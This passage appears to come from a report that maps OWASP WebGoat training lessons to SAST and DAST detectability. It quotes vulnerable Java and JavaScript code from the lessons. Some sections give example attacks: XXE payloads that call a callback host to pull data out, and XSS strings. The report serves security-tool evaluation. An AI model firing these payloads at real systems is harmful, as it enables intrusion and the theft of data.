as a login or password reset form. It would then also need to know that the conditions for getting a response required the host header to contain port 9090 or the string `webwolf`. This is a highly improbable set of conditions a DAST tool (or even a human without source) would need to know to have the flaw triggered. Additionally, this flaw requires a form of user interaction (although it's faked on line 66) which a DAST tool would not be able to do.\n\n---\n</details>\n\n## (A3) > Sensitive Data Exposure\n\n---\n\n<details>\n<summary markdown=\"span\">Findings</summary>\n\n---\n\n### (A3) > Sensitive Data Exposure > Insecure Login > Let's try\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/InsecureLogin.lesson/1\n\n**Source:** \n- webgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java\n\n**Lesson:**\n\nThis lesson is to demonstrate sending credentials over plain text communications. It does not contain any real flaws.\n\n```\nwebgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java#L35-37\n\nif (username.toString().equals(\"CaptainJack\") && password.toString().equals(\"BlackPearl\")) {\n    return success(this).build();\n}\n```\n\n**Can SAST Find?** \n- Possible (different issue)\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe source is only doing a simple equality test between user input and two constant values. There is a chance, depending on the SAST tool, that it would flag the password equality check as a hardcoded password. \n\n**DAST Reasoning:**\n\nIf this page were configured as a login page and it were accessed over HTTP, there is a chance a DAST tool would report this as credentials being sent over a plain text transport.\n\n---\n</details>\n\n## (A4) XML External Entities (XXE)\n\n---\n\n<details>\n<summary markdown=\"span\">Findings</summary>\n\n### (A4) XML External Entities (XXE) > XXE > Let’s try\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/3\n\n**Source:** \n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\nClass: Injection\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it return the contents of the OS root path. The target XML parser `JAXB` will decode the `SYSTEM` entity and return the contents of the specified entity.\n\n```\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools should have signatures for common XML parsers like `JAXB` and determine if they do or do not disable entity and DTD resolution prior to processing user input.\n\n**DAST Reasoning:**\n\nMost DAST tools should be able to find this issue even though the attack request's response does not immediately contain the result. A DAST tool should be configured to handle callback related attacks and attempt to force the XML parser to use a URL instead of reading a system file. If the parser is vulnerable, and no egress filtering is in place, the parser will end up initiating a request to the specified URL.\n\n**Example Attack:**\n- `<?xml version=\"1.0\"?><!DOCTYPE text [<!ENTITY xxe SYSTEM \"http://callbackserver:9090/test\">]><comment><text>&xxe;</text></comment>`\n\n---\n\n### (A4) XML External Entities (XXE) > XXE > Modern REST framework\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/6\n\n**Source:** \n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it return the contents of the OS root path, much like `http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/3`. The only difference is the `/WebGoat/xxe/content-type` endpoint accepts both JSON and XML. This is more of a hypothetical situation due to unrealistic conditional statements used to only allow valid responses if they are met. The same underlying `parseXml` is called for both of these lessons.\n\n```\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java#L56-64\n\nif (APPLICATION_JSON_VALUE.equals(contentType)) {\n            comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c, true));\n            attackResult = failed(this).feedback(\"xxe.content.type.feedback.json\").build();\n        }\n\n        if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {\n            String error = \"\";\n            try {\n                Comment comment = comments.parseXml(commentStr);\n...\n\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool will most likely disregard the conditional checks necessary to call the `comments.parseXml` on line 64 of `ContentTypeAssignment`. It should determine that the input string is parsed by an XML parser in `Comments.java` that did not disable entity or DTD resolution.\n\n**DAST Reasoning:**\n\nMost DAST tools will attempt to inject into parameter names and values, not transform the entire method from one to the other. The conditional checks in `ContentTypeAssignment` lines 56 and 61 are not realistic and would most likely block legitimate attack cases.\n\n---\n\n### (A4) XML External Entities (XXE) > XXE > Blind XXE assignment\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/10\n\n**Source:** \n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/BlindSendFileAssignment.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it post the contents of a file to a callback server. The same underlying `parseXml` is called for this lesson as well.\n\n```\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/BlindSendFileAssignment.java#L56-64\n\n public AttackResult addComment(@RequestBody String commentStr) {\n        //Solution is posted as a separate comment\n        if (commentStr.contains(CONTENTS)) {\n            return success(this).build();\n        }\n\n        try {\n            Comment comment = comments.parseXml(commentStr);\n            comments.addComment(comment, false);\n        } catch (Exception e) {\n            return failed(this).output(e.toString()).build();\n        }\n        return failed(this).build();\n    }\n...\n\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThis flaw is the same as `(A4) XML External Entities (XXE) > XXE > Let’s try`\n\n**DAST Reasoning:**\n\nThis flaw is the same as `(A4) XML External Entities (XXE) > XXE > Let’s try`\n\n---\n\n</details>\n\n## (A5) Broken Access Control\n\n--- \n\n<details>\n<summary markdown=\"span\">Findings</summary>\n\n### (A5) Broken Access Control > Insecure Direct Object References > Authenticate First, Abuse Authorization Later\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/1\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORLogin.java\n\n**Lesson:**\n\nThis lesson is for assigning the current session to a user profile for subsequent lessons – it is not supposed to contain any vulnerabilities.\n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORLogin.java#L59-74\n\npublic AttackResult completed(@RequestParam String username, @RequestParam String password) {\n        initIDORInfo();\n        UserSessionData userSessionData = getUserSessionData();\n\n        if (idorUserInfo.containsKey(username)) {\n            if (\"tom\".equals(username) && idorUserInfo.get(\"tom\").get(\"password\").equals(password)) {\n                userSessionData.setValue(\"idor-authenticated-as\", username);\n                userSessionData.setValue(\"idor-authenticated-user-id\", idorUserInfo.get(username).get(\"id\"));\n                return success(this).feedback(\"idor.login.success\").feedbackArgs(username).build();\n            } else {\n                return failed(this).feedback(\"idor.login.failure\").build();\n            }\n        } else {\n            return failed(this).feedback(\"idor.login.failure\").build();\n        }\n    }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find as it's only adding server side session data.\n\n**DAST Reasoning:**\n\nThere is nothing to find as it's only adding server side session data.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Observing Differences & Behaviors\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/2\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORDiffAttributes.java\n\n**Lesson:**\n\nThis lesson demonstrates hidden authorization properties and does not contain any real flaws.\n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORDiffAttributes.java#L36-48\n\npublic AttackResult completed(@RequestParam String attributes) {\n    attributes = attributes.trim();\n    String[] diffAttribs = attributes.split(\",\");\n    if (diffAttribs.length < 2) {\n        return failed(this).feedback(\"idor.diff.attributes.missing\").build();\n    }\n    if (diffAttribs[0].toLowerCase().trim().equals(\"userid\") && diffAttribs[1].toLowerCase().trim().equals(\"role\")\n            || diffAttribs[1].toLowerCase().trim().equals(\"userid\") && diffAttribs[0].toLowerCase().trim().equals(\"role\")) {\n        return success(this).feedback(\"idor.diff.success\").build();\n    } else {\n        return failed(this).feedback(\"idor.diff.failure\").build();\n    }\n}\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Guessing & Predicting Patterns\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/3\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfileAltUrl.java\n\n**Lesson:**\n\nThis lesson demonstrates accessing your own profile by using a direct object reference (userid). This lesson requires that you are already logged in via the hypothetical login endpoint `/WebGoat/IDOR/login`.\n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfileAltUrl.java#L42-62\n\npublic AttackResult completed(@RequestParam String url) {\n        try {\n            if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n                //going to use session auth to view this one\n                String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n                //don't care about http://localhost:8080 ... just want WebGoat/\n                String[] urlParts = url.split(\"/\");\n                if (urlParts[0].equals(\"WebGoat\") && urlParts[1].equals(\"IDOR\") && urlParts[2].equals(\"profile\") && urlParts[3].equals(authUserId)) {\n                    UserProfile userProfile = new UserProfile(authUserId);\n                    return success(this).feedback(\"idor.view.own.profile.success\").output(userProfile.profileToMap().toString()).build();\n                } else {\n                    return failed(this).feedback(\"idor.view.own.profile.failure1\").build();\n                }\n\n            } else {\n                return failed(this).feedback(\"idor.view.own.profile.failure2\").build();\n            }\n        } catch (Exception ex) {\n            return failed(this).feedback(\"an error occurred with your request\").build();\n        }\n    }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values. Additionally, the DAST tool would need to be configured to treat the `/WebGoat/IDOR/login` page as a login form to be able to successfully set the additional server side session data. However, a DAST tool must already be configured to login to the `/WebGoat/` end point and most DAST tools don't support logging in multiple times to different endpoints for the same scan.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Playing with the Patterns\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/4\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOtherProfile.java\n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java\n\n**Lesson:**\n\nThis lesson demonstrates accessing a mock users profile by using a direct object reference (userid). This lesson requires that you are already logged in via the hypothetical login endpoint `/WebGoat/IDOR/login`. \n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOtherProfile.java#L48-67\n\npublic AttackResult completed(@PathVariable(\"userId\") String userId, HttpServletResponse resp) {\n        Map<String, Object> details = new HashMap<>();\n\n        if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n            //going to use session auth to view this one\n            String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n            if (userId != null && !userId.equals(authUserId)) {\n                //on the right track\n                UserProfile requestedProfile = new UserProfile(userId);\n                // secure code would ensure there was a horizontal access control check prior to dishing up the requested profile\n                if (requestedProfile.getUserId().equals(\"2342388\")) {\n                    return success(this).feedback(\"idor.view.profile.success\").output(requestedProfile.profileToMap().toString()).build();\n                } else {\n                    return failed(this).feedback(\"idor.view.profile.close1\").build();\n                }\n            } else {\n                return failed(this).feedback(\"idor.view.profile.close2\").build();\n            }\n        }\n        return failed(this).build();\n\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java#L41-88\npublic AttackResult completed(@PathVariable(\"userId\") String userId, @RequestBody UserProfile userSubmittedProfile) {\n\n    String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n    // this is where it starts ... accepting the user submitted ID and assuming it will be the same as the logged in userId and not checking for proper authorization\n    // Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let everyone, right?\n    // Except that this is a vulnerable app ... so we will\n    UserProfile currentUserProfile = new UserProfile(userId);\n    if (userSubmittedProfile.getUserId() != null && !userSubmittedProfile.getUserId().equals(authUserId)) {\n        // let's get this started ...\n        currentUserProfile.setColor(userSubmittedProfile.getColor());\n        currentUserProfile.setRole(userSubmittedProfile.getRole());\n        // we will persist in the session object for now in case we want to refer back or use it later\n        userSessionData.setValue(\"idor-updated-other-profile\", currentUserProfile);\n        if (currentUserProfile.getRole() <= 1 && currentUserProfile.getColor().toLowerCase().equals(\"red\")) {\n            return success(this)\n                    .feedback(\"idor.edit.profile.success1\")\n                    .output(currentUserProfile.profileToMap().toString())\n                    .build();\n        }\n...\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nSAST tools have difficulties determining authorization checks unless custom rule sets are configured.\n\n**DAST Reasoning:**\n\nIDOR-based attacks can be difficult for DAST tools to detect. The DAST tool would need to be configured to treat the `/WebGoat/IDOR/login` page as a login form to be able to successfully set the additional server side session data. After which it would somehow need to determine that the edit and view profile endpoint at `/WebGoat/IDOR/profile/{user}` should have the `{user}` field replaced with the userid of the same user, and then replaced as a different user to trigger the flaw. \n\n---\n\n</details>\n\n## (A7) Cross-Site Scripting (XSS)\n\n---\n\n<details>\n<summary markdown=\"span\">Findings</summary>\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Try It! Reflected XSS\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/6\n\n**Source:** \n- webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson5a.java\n- webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js \n\n**Lesson:**\n\nThis lesson demonstrates a self-reflected XSS vulnerability. The goal is to inject XSS into the `field1` parameter.\n\n```\nwebgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson5a.java#L56-79\n\ncart.append(\"Thank you for shopping at WebGoat. <br />You're support is appreciated<hr />\");\ncart.append(\"<p>We have charged credit card:\" + field1 + \"<br />\");\ncart.append(\"                             ------------------- <br />\");\ncart.append(\"                               $\" + totalSale);\n\n//init state\nif (userSessionData.getValue(\"xss-reflected1-complete\") == null) {\n    userSessionData.setValue(\"xss-reflected1-complete\", (Object) \"false\");\n}\n\nif (field1.toLowerCase().matches(\"<script>.*(console\\\\.log\\\\(.*\\\\)|alert\\\\(.*\\\\))<\\\\/script>\")) {\n    //return )\n    userSessionData.setValue(\"xss-reflected-5a-complete\", \"true\");\n    if (field1.toLowerCase().contains(\"console.log\")) {\n        return success(this).feedback(\"xss-reflected-5a-success-console\").output(cart.toString()).build();\n    } else {\n        return success(this).feedback(\"xss-reflected-5a-success-alert\").output(cart.toString()).build();\n    }\n} else {\n    userSessionData.setValue(\"xss-reflected1-complete\", \"false\");\n    return success(this)\n            .feedback(\"xss-reflected-5a-failure\")\n            .output(cart.toString())\n            .build();\n}\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js#L183-185\n\nrenderOutput: function (output) {\n    var s = this.removeSlashesFromJSON(output);\n    this.$curOutput.html(polyglot.t(s) || \"\");\n    ...\n```\n\n**Can SAST Find?** \n- Probable\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `field1` parameter comes directly from user input and is output in the response on lines 70, 72 and 78. The user input is inserted into the cart `StringBuffer` on line 57. However the response for this endpoint is JSON and the reason this is exploitable is due to how the frontend renders the `output` JSON field in `LessonContentView.js`. A SAST tool would need to be able to scan JavaScript and possibly Java to detect this as a Cross-Site Scripting flaw.\n\n**DAST Reasoning:**\n\nThis is a straightforward XSS attack. A DAST tool would most likely attempt various XSS attack strings in each parameter value.\n\n**Example Attack:**\n- `/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field2=12345&field1=%3cimg%20src%3dx+onerror%3dalert(1)%3e`\n\n---\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Identify potential for DOM-Based XSS\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9\n\n**Source:** \n- webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson6a.java\n\n**Lesson:**\n\nThis lesson does not contain any vulnerabilities. The goal is to simply identify that `start.mvc#test` is the hidden route.\n\n```\nwebgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson6a.java#L42-50\n\npublic AttackResult completed(@RequestParam String DOMTestRoute) {\n\n    if (DOMTestRoute.matches(\"start\\\\.mvc#test(\\\\/|)\")) {\n        //return )\n        return success(this).feedback(\"xss-reflected-6a-success\").build();\n    } else {\n        return failed(this).feedback(\"xss-reflected-6a-failure\").build();\n    }\n}\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n---\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Try It! DOM-Based XSS\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/10\n\n**Source:** \n- webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js\n- webgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js\n- webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js\n\n**Lesson:**\n\nThis lesson is a client side DOM-XSS vulnerability that exists in a different java project `webgoat-container`. The underlying vulnerability is in an insecure call to the `jQuery.html` method.\n\n```\nwebgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js#L46-117\n\nvar GoatAppRouter = Backbone.Router.extend({\n\n    routes: {\n        'welcome': 'welcomeRoute',\n        'lesson/:name': 'lessonRoute',\n        'lesson/:name/:pageNum': 'lessonPageRoute',\n        'test/:param': 'testRoute',\n        'reportCard': 'reportCard'\n    },\n...\ntestRoute: function (param) {\n            this.lessonController.testHandler(param);\n            //this.menuController.updateMenu(name);\n        },\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js#156-159\n\nthis.testHandler = function(param) {\n    console.log('test handler');\n    this.lessonContentView.showTestParam(param);\n};\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js#L220-222\n\nshowTestParam: function (param) {\n    this.$el.find('.lesson-content').html('test:' + param);\n},\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool that does intra-procedural taint tracking would need to have signatures for the Backbone javascript framework. It would need to follow taint down to the final vulnerability on line 221 of `LessonContentView.js`. A non-intra-procedural taint tracking SAST tool may simply look for any `html()` method calls and flag it as a potential sink for XSS.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely need to have some form of SAST-like capabilities to know that the target application not only uses Backbone, but is able to extract the routes from the `Backbone.router`. It could then potentially attack all URL Fragment based route links. Since the `#test/` route is technically never referenced anywhere, it is unlikely that a DAST tool would be able to find this vulnerable route.\n\nAlso, since this is a client-side vulnerability, the DAST tool must be instrumenting a real browser, otherwise it would be nearly impossible to trigger the flaw since it is dynamically rewriting the DOM.\n\n**Example Attack:**\n- `http://localhost:8080/WebGoat/start.mvc#test/%3Cimg%20src=x%20onerror=alert(1)%3E`\n\n---\n</details>\n\n## (A8)  Insecure Deserialization\n\n---\n\n<details>\n<summary markdown=\"span\">Findings</summary>\n\n### (A8)  Insecure Deserialization > Insecure Deserialization > Let’s try\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/InsecureDeserialization.lesson/4\n\n**Source:** \n- webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/deserialization/InsecureDeserializationTask.java\n- webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\n\n**Lesson:**\n\nThis lesson demonstrates how object deserialization attacks can be exploited to run arbitrary code. In particular this lesson deals with java deserialization attacks.\n\n```\nwebgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/deserialization/InsecureDeserializationTask.java#L54-56\n\ntry (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {\n    before = System.currentTimeMillis();\n    Object o = ois.readObject();\n...\n\nwebgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java#L38-59\n\nprivate void readObject( ObjectInputStream stream ) throws Exception {\n    //unserialize data so taskName and taskAction are available\n    stream.defaultReadObject();\n\n    //do something with the data\n    log.info(\"restoring task: {}\", taskName);\n    log.info(\"restoring time: {}\", requestedExecutionTime);\n\n    if (requestedExecutionTime!=null && \n            (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))\n            || requestedExecutionTime.isAfter(LocalDateTime.now()))) {\n        //do nothing is the time is not within 10 minutes after the object has been created\n        log.debug(this.toString());\n        throw new IllegalArgumentException(\"outdated\");\n    }\n\n    //condition is here to prevent you from destroying the goat altogether\n    if ((taskAction.startsWith(\"sleep\")||taskAction.startsWith(\"ping\"))\n            && taskAction.length() < 22) {\n    log.info(\"about to execute: {}\", taskAction);\n    try {\n        Process p = Runtime.getRuntime().exec(taskAction);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify the `Object o = ois.readObject();` call on line 56 of `InsecureDeserializationTask.java` and flag as a potential Deserialization issue. SAST tools would most likely also flag the `Runetime.getRuntime().exec(taskAction)` call on line 59 as a potential for OS command injection.\n\n**DAST Reasoning:**\n\nDAST tools usually work off of intercepting requests and analyzing parameter values to determine what to inject. The `/WebGoat/InsecureDeserialization/task` endpoint is never triggered with a valid object, only a reference to what is expected exists in the HTML output. Due to this, there is no way for a DAST tool to know that this endpoint expects a serialized java object, and hence would not be able to attack it. \n\n---\n\n</details>\n\n## (A9) Vulnerable Components\n\n---\n\n<details>\n<summary markdown=\"span\">Findings</summary>\n\n### (A9) Vulnerable Components > Vulnerable Components > The exploit is not always in \"your\" code\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/VulnerableComponents.lesson/4\n\n**Source:** \n- webgoat-lessons/vulnerable-components/src/main/resources/html/VulnerableComponents.html\n\n**Lesson:**\n\nThis lesson demonstrates a vulnerable and non-vulnerable version of jquery-ui. The attack is built in to the source HTML form. \n\n```\nL45-57\n        <td><input id=\"closetext\" value=\"OK<script>alert('XSS')</script>\" type=\"TEXT\" /><input\n            name=\"SUBMIT\" value=\"Go!\" type=\"SUBMIT\" onclick=\"webgoat.customjs.vuln_jquery_ui()\" /></td>\n        <td></td>\n    </tr>\n</table>\n<script th:inline=\"javascript\">\n/*<![CDATA[*/\nwebgoat.customjs.vuln_jquery_ui = function()\n{\n    webgoat.customjs.jqueryVuln('#dialog').dialog({ closeText: webgoat.customjs.jquery('#closetext').val() });\n};\n/*]]>*/\n    </script>\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nMost likely the SAST tool would *not* trigger on the exact line, but would be used in combination with a dependency scanning tool to identify the outdated version of jquery-ui.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely click the form submission and inject it's own XSS value to trigger the flaw.\n\n**Example Attack:**\n- `OK<script>alert('XSS')</script>`\n\n---\n\n### (A9) Vulnerable Components > Vulnerable Components > Exploiting CVE-2013-7285 (XStream)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/VulnerableComponents.lesson/11\n\n**Source:** \n- webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/VulnerableComponentsLesson.java\n\n**Lesson:**\n\nThis lesson demonstrates a vulnerable version of `Xstream` that allows for XXE attacks.  \n\n```\nwebgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/VulnerableComponentsLesson.java#L37-68\n\nAttackResult completed(@RequestParam String payload) {\n        XStream xstream = new XStream(new DomDriver());\n        xstream.setClassLoader(Contact.class.getClassLoader());\n\n        xstream.processAnnotations(Contact.class);\n...\n\n        try {\n//        \tSystem.out.println(\"Payload:\" + payload);\n            Contact expl = (Contact) xstream.fromXML(payload);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nMost likely the SAST tool would *not* trigger on the exact line, but would be used in combination with a dependency scanning tool to identify the vulnerable `Xstream` component. It may also model the `Xstream` library to determine if XXE injection attacks are possible.\n\n**DAST Reasoning:**\n\nA DAST tool may not attempt XML attacks since the form gives no hint that the expected form should POST as XML; the default content-type is `application/x-www-form-urlencoded; charset=UTF-8` with the parameter name of `payload`. However some DAST tools may attempt XXE attacks in all parameter value types, regardless of content-type.\n\n**Example Attack:** \n- `payload=<?xml version=\"1.0\"?><!DOCTYPE text [<!ENTITY xxe SYSTEM \"http://192.168.2.249:9090/test\">]><comment><text>&xxe;</text></comment>`\n\n---\n\n</details>\n\n## (A8:2013) Request Forgeries\n\n---\n\n<details>\n<summary markdown=\"span\">Findings</summary>\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Basic Get CSRF Exercise\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/2\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFConfirmFlag1.java\n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a form that is not protected by anti-CSRF measures.\n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java#L49-51\n\n@RequestMapping(path = \"/csrf/basic-get-flag\", produces = {\"application/json\"}, method = RequestMethod.POST)\n@ResponseBody\npublic Map<String, Object> invoke(HttpServletRequest req) {\n    ...\n\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFConfirmFlag1.java#L45-47\n\n@PostMapping(path = \"/csrf/confirm-flag-1\", produces = {\"application/json\"})\n@ResponseBody\npublic AttackResult completed(String confirmFlagVal) {\n...\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled, it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework, it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. \n\n**DAST Reasoning:**\n\nDAST tools usually look at the `<form>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. Most DAST tools will likely flag both the `/WebGoat/csrf/basic-get-flag` and `/WebGoat/csrf/confirm-flag-1` as being vulnerable.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Post a review on someone else’s behalf\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/3\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/ForgedReviews.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a form that includes a weak form of anti-CSRF measures, as the CSRF token is a hardcoded value. \n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/ForgedReviews.java#L78-102\n\npublic 